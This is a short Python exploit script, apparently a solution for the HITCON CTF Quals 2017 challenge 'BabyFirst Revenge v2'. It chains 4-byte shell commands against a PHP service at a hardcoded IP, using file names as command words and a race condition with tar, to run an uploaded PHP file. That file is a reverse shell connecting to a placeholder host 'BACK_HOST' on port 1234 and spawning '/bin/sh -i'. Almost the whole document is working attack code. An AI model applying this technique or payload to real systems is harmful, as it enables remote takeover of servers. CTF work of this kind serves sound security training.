baby-exp.py

'''
HITCON CTF Quals 2017 BabyFirst Revenge v2 exploit
Task was to leverage 4-byte shell command execution in PHP to full RCE
'''

from requests import get, post

URL = 'http://52.197.41.31/?'

print 'Reset all'
get(URL + 'reset=1')

print 'Prepare tar'
get(URL + 'cmd=>tar')
get(URL + 'cmd=>vcf')
get(URL + 'cmd=>zzz')

print 'Race condition' # we upload shellcode to /tmp/php*** and tar it to zzz simultaneously
# tar vcf zzz /
post(URL + 'cmd=*+/', files={'file':('test.php', '<?php $sock=fsockopen("BACK_HOST",1234);exec("/bin/sh -i <&3 >&3 2>&3"); __halt_compiler(); ?>')})

print 'Move'
get(URL + 'cmd=>pr')
# pr tar vcf zzz > pi
get(URL + 'cmd=*>pi') # this somehow solved an issue with php memory limit on huge tar

print 'Execute php'
get(URL + 'cmd=>php')
# php pi pr tar vcf zzz
print get(URL + 'cmd=*').text